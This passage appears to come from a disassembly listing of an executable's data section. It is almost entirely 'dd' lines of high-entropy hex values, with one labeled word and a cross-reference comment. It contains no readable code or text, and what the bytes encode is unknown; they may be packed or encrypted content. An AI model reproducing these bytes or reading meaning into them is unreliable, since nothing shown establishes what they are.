0B8D1CC88h, 7481C891h dd 0FE936600h, 731C6D6Bh, 0EF8300DCh, 85991288h, 8200399Eh dd 268A1F08h, 7FA62C18h, 36780Ah, 0B0742F04h, 0C754CBEEh dd 730840E1h, 1F00F867h, 7D0D2778h, 0D10925h, 0D796560Eh dd 4FAEBA02h, 0D8CCBC50h, 2B001EB8h, 3A180A1Bh, 0A6EEB1h dd 6C6AD4F2h, 44A50166h, 4002067Fh, 0B415C66Bh, 0F8C0DDCBh dd 0F900CC68h, 74DD6339h, 0E723DCh, 3611D893h, 0E96907EEh dd 8B70B461h, 0D100BFC4h, 3007FBA9h, 0C0CAF814h, 0FAA187A0h dd 0C8960EF0h, 762032B5h, 78BF6C8Dh, 836F7C00h, 1FA2BB2Ch dd 1AE4A0BDh, 7427397h, 7BD04EADh, 7FA490C3h, 0D709C9ECh dd 8CEEF9h, 12FDD9D7h, 51310021h, 0E8DA634Ch, 0CB775040h dd 73AF7700h, 537E118Eh, 6A951482h, 0D40F4CAEh, 3CE74AF6h dd 6C41A0F1h, 0E9FE4673h, 0F426110Fh, 0E3D6202Eh, 3B72836h dd 182489A8h, 4BF09BFCh, 6A71591Bh, 416E73Bh, 1CB5CAC5h dd 0A508081h, 7E003C22h, 0EDA8B612h, 0B71E0130h, 3C43C4A0h dd 0C95C0CBFh, 9BF0B5D9h, 8B160004h, 29D6B4E5h, 0E0085CBh dd 67CD70Bh, 0C309EC8h, 8B52F8C6h, 59FE3C18h, 3FB3CC00h dd 0D8ADFFEFh, 0E5601E6Dh, 0BD30C091h, 810CAC21h, 18ED390Eh dd 15031C13h, 0E149D5h, 0D31BA2B2h, 26C40636h, 17BA910Ch dd 39522D2h, 47C501A0h, 0D0006932h, 0F03A8934h, 1F51F811h dd 81B0DCCBh, 0A9BC8D98h, 37D8501Bh, 0EB00DF65h, 0E3F4842Bh dd 60D08AF6h, 9C32B086h, 0F73F588Fh, 0E0E8870Ah, 7DC0090Dh dd 0F71744Dh, 0EC153A91h, 8F5C5D60h, 4B00112Eh, 289FAE46h dd 38298EB5h, 8C280533h, 0D5DB00E0h, 0E13B99D0h, 80C0BC7Dh dd 7442E841h, 966E262Dh, 0D8DD0020h, 1D770E51h, 50BEBB26h dd 0A24AB881h, 8EF4ECCEh, 0FEFC263Fh, 40811CEEh, 0D54BDFF8h dd 3BE2842Ch, 0A8EBFA30h, 614E6F90h, 24759891h, 3CE4DCCAh dd 0FA47BA1Dh, 557EF700h, 23A4DAh, 578FD353h, 0D8212D9Ch dd 84313818h, 407449h, 0F080796h, 1298A1CEh, 13ED6A00h dd 873445A0h, 0AD4B0253h, 6318D3DDh, 96556EE0h, 42472700h dd 28DE315h, 5D780E1Bh, 38204EE1h, 5C6A7A58h, 0A2ABE402h dd 0E3EA17EBh, 0E6ECE0E5h, 0C02C1F8Bh, 83C6C0EEh, 359FD280h dd 0E1F4C300h, 0F152C1D4h dd 5E1F1739h, 6E4000C8h, 13C571F9h, 80ED3507h, 0B5C35186h dd 997AB029h, 0A6731264h, 400807BBh, 0EAE8C1C9h, 0CB808165h dd 0F97D7E3Dh, 2607ACF0h, 8308CDE0h, 92B56ADh, 703F78C8h dd 0F81C9700h, 0E4C36046h, 0B5C6008Bh, 0C06F2095h, 0D7F5C68h dd 0F7CAEA00h, 0ED630350h, 9D2401A2h, 2F6F7977h, 0E1FA7006h dd 9D884Ch, 338410A1h, 78238931h, 8E4200BAh, 6A6E1362h dd 9100478Ch, 0F4C84ACFh, 38126B2h, 7E07AF59h, 0A009C788h dd 2A56DFh, 0F5337C08h, 7F2C13BBh, 0F06E0172h, 0E160F7C9h dd 6E9C30B0h, 2507A5B8h, 660F4DB4h, 63861CF0h, 3C9B07C3h dd 0A03E6FC7h, 4CBE1489h, 7E80044Eh, 18A8E64Bh, 1815A377h dd 2301CEAFh, 57F4709Bh, 0C0CCC676h, 0C17BB9h, 0E3D5CFFh dd 0ABFA588Bh, 0C65A8004h, 0F981BE17h, 3ED94213h, 4FEAC20h dd 0EE1A6BCBh, 0D9BCD0F2h, 2505FFABh, 177550F1h, 2311B000h dd 5D0E79h, 0F38A9C0h, 33036A47h, 49CC261Fh, 0A4880F8h dd 8144CEEDh, 5DB000ACh, 0BC9CF0E4h, 290014C1h, 246ED7D6h dd 7E1DA5h, 1F325B36h, 523942CAh, 98180FB0h, 9B389CC7h dd 4C8E0EB6h, 0BCC019FCh, 45EB348Bh, 23D7CB0Fh, 0E428613h dd 0D89B0341h, 0EEC8ADCFh, 0D5F226E8h, 1054D58h, 241C5EDAh dd 37607B17h, 2E727Eh, 87EBDECEh, 0D6A77137h, 8091FF3Ch dd 610F8902h, 1F52B578h, 4E5434EEh, 72E7483Bh, 0C6A4F09Bh dd 1008C3Dh, 266FDABh, 0E00ED48Bh, 0F77F206h, 0CA614C53h dd 67B3C09Ch, 0DA87CB82h, 1500FD7Bh, 0C1AD8598h, 198379h dd 38765FB9h, 60BF8E21h, 4FA7B006h, 107251h, 4CD6D82Fh dd 1F937F50h, 1D372C12h, 5DC2E821h, 6141F8h, 8A2AAC04h dd 0D2572E24h, 8773181Dh, 7B6F9B80h, 0D8B602h, 4365D350h dd 0A31F5F7Eh, 7AF88F18h, 61260710h, 0ED3F56B8h, 0F2D8F7B4h dd 0AC3C400Ch, 726F80F6h, 34947646h, 0CF1B13FEh, 0EF8040BBh dd 0F651B0BCh, 8BD44F17h, 24003813h, 0EC490A8Ch, 58C40140h dd 63A1AEA3h, 0DB1070B1h, 0C5FEDAE6h, 7EB7190Eh, 0E7CB95h dd 93EF7194h, 7F41183Dh, 3BBF604Bh, 3C60332Eh, 2902DD81h dd 89DDC86h, 3B1907D7h, 4121DC5Bh, 9549971Eh, 9ED65846h dd 0CD97408h, 635C3EC0h, 0E90F4450h, 61920BB8h, 0F090E083h dd 0E84FBD0h, 0E6F63158h, 0CD50B820h, 3F007D99h, 52977274h dd 12BC9F28h, 3E0D992h, 63A2C5A6h, 93E790Ch, 3B6B02Fh dd 74DAFE41h, 2802E112h, 3EC29EEFh, 0A240A052h, 80F09DB8h dd 0E7E8F3BAh, 0BF283854h, 2A00CB90h, 0B78CD6C7h, 1EA075h dd 5BBDA369h, 967ABB9h, 487B8900h, 75E26873h, 518F0078h dd 0CA90EA7Ch, 0BF070474h, 11B2186h, 8A00F147h, 7D7B41h dd 3D63C762h, 0E729D173h, 0D7720616h, 19ED7A00h, 7DB740E0h dd 70300A7h, 7B09B8B6h, 0D7012761h, 154C816h, 0DC29BC57h dd 0B68530E0h, 0B0E9C70Ch, 0C2191Eh, 9EDD7929h, 0E74E5833h dd 265B233Ah, 0DC809C05h, 6D8E7811h, 55DD0CB7h, 0C7695D95h dd 0C11C3A00h, 70CE0A73h, 1E4F00F7h, 109AC668h, 16EE08E9h dd 38300E60h, 97E81703h, 4E429640h, 0D59CCCA8h, 1EA8690Fh dd 8F41E0FBh, 1BD5D0Ah, 392F8658h, 806E3D84h, 0A5526220h dd 0A70FD914h, 0F8D60820h, 0D7B816C0h, 8050E7BFh, 1A8ED5Fh dd 0FE01B72Ch, 0BD093F63h, 41216F08h, 0D753A915h, 6E78CC5h dd 2F0E158h, 0B101C811h, 0DADB2585h, 0F882C9BFh, 0BE0CE0C6h dd 0BCE5C0FDh, 182148EEh, 8E926680h, 9A03DC82h, 0F8471E29h dd 6DA32Eh, 8EE51C21h, 0A3708140h, 9A09BA00h, 0DAC6BBF0h dd 60FB67C7h, 1F284A4Ah, 67F0413Ch, 0D0403927h, 305D3855h dd 15E458E0h, 788C9710h, 6C42400h, 83D890E1h, 223B33B8h dd 21002F08h, 5006CC7Ah, 33DB670Ch, 98E07FD1h, 717B6230h dd 0C01C8B55h, 5EB38231h, 0E03B30FDh, 124505D2h, 9C42D0E2h dd 44E34AE5h, 0D37F000Ch, 0A72609Bh, 8A05E0E7h, 8370C94Fh dd 588A804h, 7F979C0h, 0B5AF18B0h, 0FE39185Fh, 918C360Ch dd 79F31071h, 0D90A021Ch, 0F89FDB76h, 0E85F8880h, 0B8A0A62Ch dd 0AC00301Dh, 1EBBC62Dh, 3AB4BAh, 0B8477E4Bh, 68B1F128h dd 97940C03h, 0BE4D8EBDh, 0BC822658h, 0A9184094h, 100067C2h dd 0CD646F47h, 1C09F4E5h, 2E1154h, 13F25FBCh, 0E800D49Eh dd 68223FAEh, 607E737Fh, 57BA90ECh, 0B5001247h, 9D5CB215h dd 0C1B3D4E9h, 2FC5DFA0h, 115C58FEh, 40676D80h, 0B1B813A8h dd 0E0BCF43Dh, 69CD5D99h, 0FCF100E2h, 39AD7B68h, 64187331h dd 0DAE17F30h, 0DBD504AFh, 98EFC7B3h, 794C2FE8h, 4CE45170h dd 21C011E8h, 38781722h, 5726010Dh, 694D0649h, 8397E945h dd 5EB13CA1h, 0C76388E0h, 0B75D0631h, 0B066B4D4h, 0EA971D00h dd 9C3671F6h, 0C865054Ah, 40ECD430h, 0B5D887F0h, 90F01Fh dd 0DF71C61Eh, 84F37C0Ah, 8B119002h, 6A4600D1h, 67018166h dd 0EC624516h, 44200FAAh, 26DD265Bh, 34723B18h, 9030B8ACh dd 8B9D6248h, 50DAF4E8h, 33809038h, 0AB048694h, 80909206h dd 0DF803867h, 5FE906D2h, 7696047Fh, 0C116D9CCh, 20C7BD28h dd 660CC428h, 68FC503Bh, 0E0960940h, 4A110C9h, 89E68375h dd 21AC691h, 68595F70h, 64C8AC80h, 0CBB4B1AFh, 7E3DFB8h dd 0F113B774h, 0F0B3EDF5h, 70FDBAAEh, 5A18CFA9h, 0BCC91E39h dd 0C959DD1Ah, 5C000854h, 0E993CFADh, 905E8830h, 289CB124h dd 15D06495h, 9C35DA0Dh, 2D994804h, 0A774D27Eh, 56014C40h dd 0F2E04082h, 0E35588BAh, 76A43A4Dh, 1B42252h, 0F5B7E03Eh dd 0C434C59Fh, 0BC3913D8h, 0E18460D9h, 0DC23878Eh, 16911F2h dd 0B89E981h, 0D0F41C7Fh, 15480251h, 0BF64DE88h, 3D05D0C4h dd 34F3CB74h, 0F12CC8h, 14B8E88Dh, 703F0A71h, 6F4219C0h dd 7E29DDh, 0CFE1E776h, 0E50F5680h, 20011276h, 959FD2CCh dd 88A44ADEh, 0A4670FACh, 9A55BE01h, 2C498651h, 0E94394h dd 0DF0F373h, 0CB40D8ABh, 2A3BDB02h, 402890E6h, 14F3E2Ch dd 1CE25E04h, 44126E0Ch, 0D340C29Ch, 8A8D130h, 0F5E1B728h dd 4A40A464h, 0CF3BA8D9h, 1A69E203h, 0F1079C22h, 5AF51EA5h dd 1C7844E2h, 51971CE6h, 0BC030012h, 0B72632CEh, 152C075Dh dd 90E91782h, 2BACB4E0h, 9F2FC407h, 9993ECD5h, 23A00924h dd 782A98D4h, 0BDFA0854h, 0E6792860h, 223B469Eh, 2430EE0Eh dd 4CAD79h, 143E2FCAh, 4C17FA15h, 0B814B1DBh, 3A0A1004h dd 68EE6C0h, 448CFADCh, 0EE098073h, 2D09489h, 75BD58h dd 3761CB70h, 0B839C412h, 0C02CF408h, 909D0150h, 881818FDh dd 60DD7DEh, 0D9E24A89h, 8A7D6040h, 795B6035h, 0B3642529h dd 50AEF303h, 0EDFF9537h, 8981DB00h, 15112Ch, 3F244EC1h dd 3B56FE49h, 0E00D7631h, 9D0C21EDh, 0DC838E08h, 4068C492h dd 0F98EE41Dh, 60BF2EDh, 0B30F1CF4h, 0F8F89914h, 6F558h dd 32267B6Eh, 4C43DAC7h, 330A40C3h, 407C2D69h, 909C06BDh dd 2D22B046h, 0DD5Ch, 0A30D9405h, 13958BBDh, 42204E08h dd 80258460h, 14D2B080h, 41308C30h, 2450106Bh, 0CAC502B9h dd 63027DDCh, 4138E460h, 0B00FCE4Fh, 12C3E6D9h, 0DA520718h dd 0C3BA5C83h, 0E8B8EC26h, 3726FC08h, 9E8A1CC6h, 0BE89BC35h dd 1A602031h, 15E36B9h, 5B9C1C15h, 4821EBB4h, 0E800E1C8h dd 43B9DAC5h, 0E2CC3613h, 24890FDDh, 0A2C0D392h, 0F09EE4D4h dd 0D041F631h, 0F9805594h dd 790D6577h, 910039BBh, 0E957EFCBh, 3B8ACD93h, 65805EF1h dd 54D89CB0h, 3012425Dh, 0D41E43BEh, 0A8E40063h, 0C239B725h dd 0EC758085h, 674149A8h, 7CAB7C24h, 0F5938E3Eh, 8827C0DDh dd 4D369D8h, 7ADB9C33h, 0C4B08EA0h, 0C330C618h, 93E207EBh dd 0B113DB7Fh, 0D04259ACh, 0A0F3E0E1h, 1D2B7B4h, 53DD14DFh dd 0CE00CC13h, 0F3E57E5Ah, 90008706h, 35A2AFD8h, 93A8937h dd 1169E382h, 0D1071846h, 5090E006h, 402E64F8h, 0D806D909h dd 3D9B01C1h, 0A184F3Fh, 3CF08FF4h, 38694117h, 0F82614BCh dd 4CC47850h, 8853B4DCh, 86006B22h, 820A89ECh, 0E4BA9046h dd 0F24C0740h, 503BEA6Dh, 7379181Ch, 0BB6B2Eh, 0EB5D903h dd 24D0C5EDh, 0B819365Fh, 0C1FDF9B4h, 94CA07h, 0C68EFAEAh dd 23549C30h, 55603FC0h, 0D39FF979h, 17C1902Ch, 50B4554h dd 414EEB70h, 0B09C26A4h, 6BC45016h, 0ECF36852h, 0E400E153h dd 936FF33Ch, 0C4A32B71h, 0C29F2798h, 0DE205D04h, 5FD0484h dd 31A4B1D8h, 0C4D80F5Bh, 0C73C2D03h, 997EA839h, 0D740A1FFh dd 0EBE42021h, 99F603EFh, 97357031h, 2C843BC9h, 0D9E50134h dd 1A27D37Ch, 1DDAF040h, 8EBD1320h, 3FE04699h, 90138156h dd 0C20060E0h, 0FFA250Eh, 0DF890098h, 0BA4304C3h, 3C00F5D8h dd 0AC13F9F0h, 9839D396h, 0EBA0086Ch, 0EF11B799h, 518E9380h dd 7C52E2DFh, 0B723CAE4h, 4D3CAB00h, 7D760A8Bh, 0A03DE825h dd 4312CE4h, 0CF78BA35h, 5587C02Ah, 2C921039h, 7E4FE426h dd 14CB0200h, 12E0D8E6h, 124A4EF0h, 0B65C09ECh, 5C27045h dd 0D4DF18C7h, 0B2307FECh, 0A1E190Dh, 89D0015h, 0EB862F8Bh dd 0FF02DDB7h, 84B6074Ch, 6A38C9A5h, 3C626980h, 320D673Fh dd 98EF9C35h, 925DC290h, 0F8E12790h, 31277800h, 0E21A1385h dd 0C0D8BA42h, 808039A4h, 0BC2EA9E7h, 0D82022EAh, 0B8C1852Ch dd 2560E544h, 9E23E179h, 50A1153h, 0C4792D28h, 2045CD0Eh dd 47DB7C82h, 3B089017h, 34A4BB8h, 0AEBD27ACh, 0E1D8A094h dd 4A6E1013h, 40136091h, 0C5019479h, 0CE089E60h, 0CFF47434h dd 73411306h, 58115Ah, 0EC6CAE45h, 0C707E0D9h, 93B13761h dd 805004E9h, 9BDDDBh, 0BA0A6C6Bh, 0CEE4294Eh, 70A77024h dd 22C5C69Fh, 203C16D2h, 0B6E460Ah, 68C1E94Ah, 0F60878h dd 2B15305Bh, 1B874B64h, 7EDEF509h, 0C4FC45EDh, 527A6023h dd 0D5010F31h, 27C24FE1h, 0B8418757h, 0C6A850B4h, 2D13DB5Bh dd 3800E3F1h, 0C706E03Fh, 331401D8h, 7CE193D7h, 38C0924Eh dd 6F23982Fh, 6168F207h, 0E0B1BD42h, 3D9D4B30h, 80EF148Bh dd 0B0C7B964h, 9743166Ch, 0E706CA02h, 0EC712890h, 18E00466h dd 6CBAFCD7h, 58C44685h, 98B7C7E8h, 12C1729h, 90E606CFh dd 7B2E0E20h, 0DC6502A4h, 0CE82F56Bh, 68402969h, 34905C49h dd 0BCEB6C12h, 45B43C32h, 80F1EFDCh, 952B7951h, 7F8E00A7h dd 0F0E10ABBh, 60924676h, 63459C14h, 0B5706230h, 7E10054h dd 6DF8B990h, 7D738D00h, 11AC0EA9h, 0E2190066h, 0EFEA6870h dd 0DF008C0Bh, 3777A586h, 51B848h, 0D5AD230h, 2F2A3DEAh dd 0B5740807h, 1DF74335h, 0EB6D6440h, 82213076h, 0B06A13FCh dd 19E87970h, 0DC203460h, 0A6218Eh, 3299DF31h, 61902BC2h dd 0BAD148C4h, 0A821B037h, 0CE171E9h, 2221C005h, 6EB92188h dd 0B2035200h, 0EA9F929Ch, 505067A2h, 60AAE05Eh, 78003E17h dd 0FE3A3089h, 1EDDCEB0h, 0B6D63h, 74A38F04h, 0FC0CAF9Fh dd 8B7E739h, 20666003h, 1CA2F15Dh, 637193Fh, 6945B26Ah dd 600B3AC9h, 9108861Bh, 7D441AC0h, 0FBC2D100h, 0B3B51C97h dd 0C04FE896h, 7D4D7921h, 0D6399558h, 82C00354h, 98496612h dd 36AA678Fh, 0A8B0530Eh, 8D07CC46h, 189F76A3h, 53400FC4h dd 6BF8A387h, 0EDAB802h, 201E49AAh, 0A1BBC667h, 95E5DF00h dd 46CB3032h, 7F68C65Dh, 6400404Fh, 0AB20444Eh, 0E09CA6h dd 4CB6EEEDh, 95E884A2h, 75BC6C01h, 972E6462h, 694790D3h dd 0B82700C3h, 0B56C3B32h, 70007172h, 638B4E17h, 3F128F74h dd 0E581D725h, 0F8C69ADCh, 0CFDEC077h, 80903E3Eh, 38A08F82h dd 0DABDF1h, 3489ED1Bh, 407BB907h, 0C621A300h, 0A14E5492h dd 338A0FF1h, 9C5FBB8Bh, 5C6B4136h, 705AFF89h, 0F40EB2FDh dd 0C1D8E411h, 34363F44h, 0B8E5588Eh, 4074309Ch, 3100B37Bh dd 0FDFCBED4h, 787D855h, 0DA0E7D70h, 0CC9190D0h, 50005A3Eh dd 0BB976030h, 0E82CCD11h, 0C6C300BEh, 74A8CA9Eh, 0BD030B56h dd 89F4AEE8h, 7C001DAh, 0B4F6C260h, 4369D803h, 0BEA47000h dd 0BF3E910Ah, 4FDA00C8h, 8163997Fh, 0B9C0516Bh, 0E5E74360h dd 0E467C16h, 0CEF70C64h, 0A521AEC2h, 136F8A00h, 0D23200A8h dd 904BC914h, 0FE0081D5h, 0BF38DAE3h, 305C55h, 0DBC0A378h dd 2BEBED44h, 2CCF5B00h, 0DA19FD11h, 424B0098h, 27926DF2h dd 9A02076Bh, 1A032102h, 4E60F5C3h, 4A00743Eh, 315F636Eh dd 0E119975h, 8FA5E10Ch, 0AA294DE0h, 20008B79h, 0DF982F69h dd 0E06C173h, 0AE4C4776h, 3A8031C0h, 0A40E2C8Eh, 0C0A0BAD2h dd 7A7F4BF6h, 0B6110094h, 8DC0815Eh, 3E73DC2Bh, 6D59F900h dd 74016641h, 0E1040306h, 0A6D1D530h, 9A3180ECh, 0C07F0C9Dh dd 0C8573300h, 15C41FC5h, 4A5A0067h, 7B50168Eh, 0BF004D6Eh dd 7A72E836h, 66878h, 41DE9B43h, 291B832Fh, 3828D400h dd 1124CDCFh, 0FD810F7Dh, 0B0804FFAh, 0F2C4F3B4h, 0C06C911Eh dd 0C98EACF0h, 68B4A09Dh, 67070087h, 2E285E51h, 3290393Dh dd 6ED0B4A0h, 33001476h, 0E72B2C8Dh, 0A6FF30h, 978280F5h dd 2A679D68h, 73EF1A00h, 0E3C2B6B1h, 7CDEECBAh, 0EDDC14FDh dd 0F500EC86h, 0ACB54A82h, 72072E02h, 8AD7692h, 1F38AF30h dd 0E2241C63h, 0D89180F3h, 0EE3E6CB5h, 99E0FB07h, 0C4002717h dd 3363B5Ch, 8BEC8E49h, 0CBA92A4Ah, 0EEF6D02Bh, 7C8D5300h dd 3A255809h, 0BEC20703h, 1031EC48h, 0A195DDC5h, 12F0BFh dd 8BEBD920h, 0CC681022h, 2F007B79h, 5BF14E36h, 5E9B101h dd 0D46C158Dh, 8ED800E4h, 0A61C7BC3h, 2705FD00h, 0F1BD30F3h dd 0AD70F17h, 0C05D505Eh, 0BEB8B544h, 0D43F3486h, 56520078h dd 0E111FE25h, 0F40F0012h, 8E6AB792h, 7F00BC7Bh, 0A29C7DCBh dd 60D9ADh, 8F86B96Eh, 0FB84019Dh, 4BFE4F01h, 65DCDAC0h dd 0B72DF8h, 750C25B6h, 557F2856h db 0, 44h word_544F42 dw 0C3B1h ; DATA XREF: ___:off_4374C0o dd 6C8F77DDh, 371A00F3h, 201B6A80h, 45004333h, 0D8B57A51h dd 3B0D7F82h, 6001934h, 0EF2CCBE1h, 0C51C8832h, 0FF01C30Eh dd 0E7F1FAA0h, 5C964BDCh, 3E0076D7h, 0D24E3B01h, 0B1009D93h dd 0C91E3F5Ah, 9C8009h, 3B40C0F6h, 9308607Fh, 0E5AA1F0Fh dd 91F860F1h, 4809Eh, 4AD50DFAh, 0E2E0CF54h, 3A8C9500h dd 1AD20AB5h, 4B8E009Eh, 0FF93FCABh, 4A7CFA9Ch, 0ED597A03h dd 0D00C8AC6h, 0C076890h, 0A196F3F2h, 0B011128h, 87E6C380h dd 0E82492D0h, 9453005Eh, 0B452355h, 630022F1h, 10C12E40h dd 78300F1Bh, 90B40015h, 0F994FA8Eh, 9C00239Bh, 0A341DA7Ah dd 481B16h, 58D0CC4Bh, 0E4B98C9Fh, 0BE892C00h, 462EAF4Fh dd 105FC4Dh, 0D7F39818h, 0E4D6CC6Fh, 572608B4h, 5C006429h dd 0EE231A1Ch, 0AE75C5h, 5F60F62Fh, 38F57902h, 6C2A5600h dd 0B8119CCh, 0A4BB0EB8h, 8C2E151h, 8F602FD3h, 25023815h dd 0CBA276DDh, 0EE544002h, 7B670458h, 0C34520BFh, 0E5E0F355h dd 78C42EA2h, 31C0318Eh, 0F7066E7h, 2B902339h, 0F3562AC0h dd 9272C3DDh, 0FD2239h, 0AA7F295Fh, 3B43DD0h, 4E0ACFD6h dd 0F098796Ch, 0AB009C1Eh, 2D89A872h, 6D8725h, 90DC2E1Ch dd 4595169h, 0D18AD70h, 191812F3h, 0BA2D3A93h, 58163280h dd 0E4ADC2E6h, 2704EEEEh, 6CB840D8h, 113571C0h, 4B29037Fh dd 41EFF5F4h, 5AFD4000h, 1CDA2B06h, 0E68C0348h, 0B5B991BEh dd 8FC460A0h, 0EFCAE100h, 890F7025h, 8E1E01AAh, 0ADA4667Dh dd 0CE2030D4h, 0BB260409h, 0AFD80025h, 143FF4FDh, 9038F929h dd 98ED3403h, 0E5F028F7h, 7F0066FCh, 678353D0h, 38A6FBA5h dd 88707A2h, 0F0F3816Bh, 0A0D12086h, 2F6DA8A8h, 0B11B3800h dd 0B2D2619h, 9D54005Eh, 7F972811h, 98008216h, 4B4F2391h dd 0D9B992h, 0AB4280FFh, 0C44A62CCh, 2A1DDD00h, 0FE387393h dd 0F459002Dh, 9AE93D3Ah, 360612B0h, 0D3F2ABDCh, 0D2040BB0h dd 27823F38h, 30494F4Bh, 0E40321B5h, 0D60E4D5Dh, 0FC613F31h dd 20104494h, 0F301FF79h, 0CC8AD45Ch, 7814E948h, 4627448h dd 7FFE9866h, 1BEBAF80h, 2FC50014h, 4D55A0DFh, 38A02CEFh dd 8A00A5B0h, 7B72A139h, 3282DAh, 1B57AD8Eh, 8147AE24h dd 535050C7h, 13409A80h, 0D9C70026h, 3A328E42h, 2D54A08Dh dd 3B836D60h, 0C8E0D612h, 3268FD42h, 2B0E38B2h, 8333DB7Bh dd 45A1D2h, 0E9A413C8h, 0B9321765h, 3D0E3600h, 0A36CD0ADh dd 261101E8h, 2BD27035h, 0C9F5E40Fh, 0B05C1600h, 0D8D9907Eh dd 70B8DBh, 5352EA96h, 0D3337A42h, 0C8D6E200h, 61A9646Dh dd 73A6003Bh, 0FB88D1EAh, 0B10357CFh, 556781D9h, 20980015h dd 0BB5E1A8Ch, 0E700AAB5h, 69A83DCDh, 0C05113DEh, 8BFB2AE1h dd 0BA03C995h, 0A5E7847Bh, 48A9FA79h, 0F21396D4h, 0CB8D000Dh dd 0EF7A5AE5h, 0FC0D8C5Ch, 6828B889h, 0B75330h, 1E54AF7Ch dd 0BE31B210h, 0E2830F07h, 90E0D671h, 3123D939h, 14303BAAh dd 29EBCBCDh, 0B74989D8h, 0D518120Ch, 6F135136h, 2343A14Ah dd 0D8541684h, 17032B34h, 1B8C15D0h, 0DCCAE8A4h, 0D9830E37h dd 2F892E3Ch, 4F33A021h, 0B487C448h, 59073A73h, 31E52A85h dd 75EB5C0h, 0F751C36Fh, 71074E13h, 0C40DD53Bh, 6C795730h dd 0CA2C03D6h, 0DA0B98CFh, 0EE187EB8h, 44547C50h, 0FC9EC88h dd 41A126FDh, 51A05AE0h, 0D060CB2Bh, 91F0C64Ch, 0CA2209ECh dd 0B68015F7h, 0A908B856h, 52CD513Bh, 5E200C8h, 0A763451Fh dd 1ABE00B3h, 0B0F6DDD8h, 340ABDAFh, 0F0276721h, 0BA245B83h dd 4991A82Fh, 4EE73C8h, 1D4AC3ADh, 40504358h, 2C04F0D3h dd 0BEE0374h, 202E87E3h, 8081DD8Ah, 800A5C1Eh, 3FC9C2D1h dd 82D37Bh, 0C36DBA11h, 65B4C40Eh, 3A1CAE00h, 108FAD45h dd 1261C05Fh, 0B7F71B2Ah, 0DA430B07h, 3113A160h, 1CEED0ACh dd 125A0E6Bh, 71381A3Bh, 8503F2DCh, 6ECEA3C1h, 0C931D88Fh dd 43490073h, 0B0184C30h, 690FE660h, 181B53F2h, 7CF4439h dd 3BE27F3h, 8E9BD01Dh, 120097CCh, 6759653Dh, 0E63C8A74h dd 0BE640049h, 0D562110h, 950E480Eh, 8082DC12h, 0B74F2946h dd 4EF03A1Fh, 20660A12h, 3B0FC42Ch, 7349F300h, 0CA3E4C69h dd 0D49700ADh, 0EF036EABh, 6F15D5BBh, 9824B8h, 2269B63Dh dd 7E26A420h, 0E006EA8Ah, 19820C78h, 1329295Dh, 1985354h dd 75F5BC0Eh, 64894797h, 99C4DA00h, 74E01EA2h, 715E8087h dd 4C7C8890h, 0DF92D900h, 0F179BF2Ah, 691E0521h, 80F261AEh dd 0C129A3ADh, 0A6826E09h, 0AAAC203Ah, 49566DA5h, 0E000E0BBh dd 2D508EAFh, 0B6000713h, 8426CAFDh, 48116Fh, 4FEF596Dh dd 61ED362h, 94006C91h, 86A9A591h, 6316002Dh, 0F8BFA864h dd 0E500039Eh, 19FF9B89h, 39A977B0h, 1E1E7A69h, 2CAE4054h dd 2AB7480Bh, 22EE0C0Eh, 643103A7h, 0A0D89209h, 0A36F61B4h dd 0FDC80072h, 1C2D541Fh, 2C0074BEh, 0EF86360Fh, 4CF4A658h dd 0A01258DFh, 0A78469Fh, 3301A137h, 204A1E6Bh, 0B4C07441h dd 0B0F401ECh, 3EA3A1FEh, 0E802210h, 609C8B5Dh, 4B7EAF48h dd 305C7BBFh, 0DC215613h, 3074369Dh, 899C209h, 41A0980Dh dd 66E81D16h, 7B9DC0A9h, 0AAD19729h, 70517E11h, 0BE8AE631h dd 9DEDE866h, 0DEE54100h, 622F5E74h, 93A607C8h, 20D290FFh dd 282C05BEh, 0FB00509Ah, 0ED685AB9h, 0E4D996B1h, 76F0020Fh dd 94105B22h, 12BCB084h, 80A7C808h, 0DE0265FBh, 7D007E49h dd 84AB18B3h, 1C19D923h, 9C20BAh, 2D9B79EFh, 0E628484Ch dd 0FB54C8FAh, 4900AE6Ch, 0DE5BBE26h, 0CF022D7h, 33A5A903h dd 2A540721h, 4800EBB4h, 7C78B9E4h, 29605FAEh, 3C867BAh dd 8AF1935Eh, 21CA638Bh, 47EFD360h, 0EDA0C609h, 5498003Bh dd 75857895h, 0B1BA00E7h, 905A7DF3h, 0DA3834CEh, 88252AB4h dd 0EFF98D00h, 0D181ABC2h, 186F024Ch, 24679415h, 0C9B64C80h dd 4500A7C3h, 4F0D5A17h, 2CDBBACh, 1854EFC1h, 8080E98Dh dd 5EFC041Dh, 2462E9h, 0B43B9E33h, 0F4FF7F5h, 7FAFB122h dd 0E9DF9142h, 0A5902261h, 71128C26h, 99A401D1h, 0A9A2621Dh dd 0AA76F0AEh, 2F855406h, 0B9871Bh, 86C50992h, 0EA5BAEE7h dd 2DEF2C00h, 0A70BB969h, 23DC02B1h, 712661Eh, 68030864h dd 324D781Ch, 2EF388C2h, 0A80B0E31h, 0A50098FCh, 5DF4F208h dd 1694121Fh, 916FB780h, 3C67959Dh, 0C8094C3Ah, 0DC985B19h dd 215F6F87h, 989063C4h, 0F8EFFh, 0E8463B8h, 0AF364891h dd 1E479703h, 262EB429h, 1E9013C1h, 3EA13C9h, 1B497D28h dd 720BCEF8h, 1C8961C0h, 0C3AB53h, 0E73CCB6Dh, 0CE528AD1h dd 0A7301E00h, 0DFAE8510h, 516F26A8h, 0F5710359h, 41001807h dd 0DD567521h, 186F26Bh, 0D51F1D9Fh, 0C3929024h, 61831EA8h dd 0BF892103h, 126EF19h, 0E3638B39h, 20788288h, 5E0CB7C3h dd 20177BADh, 7F687DA5h, 0E7B507ACh, 5AA1056h, 9580401Fh dd 41F58B2Ah, 6B2FE2C0h, 9FFCBFh, 543AFCCh, 0C3904FAEh dd 2E98E500h, 3ED07DD9h, 8C86542Bh, 0F131006Ah, 0DCEEB7EBh dd 0D000D58Ah, 40A4FB63h, 2693E405h, 42BCFD82h, 88E675CDh dd 92D66007h, 33C02CD7h, 56856Ch, 7DAA57A5h, 36D0C9C0h dd 23F70B0Eh, 0A9821D9Eh, 488D66C6h, 78FCF3Ch, 0E54DFA6Ah dd 0D6F9F0EDh, 7B00C424h, 8206E119h, 0FAFAA26h, 0D5BD446Ch dd 488C2033h, 0A22EFD91h, 7E00E3B3h, 0A668D9EDh, 78830275h dd 21CAFB2Fh, 0F10524C0h dd 0D1F9F61Ch, 3EB600F9h, 5BE878ABh, 56DE2C68h, 0B9244058h dd 1000F827h, 0EAFBCD80h, 1CC87889h, 836442F0h, 35B87A0Ch dd 0C9038100h, 239A994Eh, 83D91C6Eh, 49DC135Eh, 0F08858FCh dd 86040D0h, 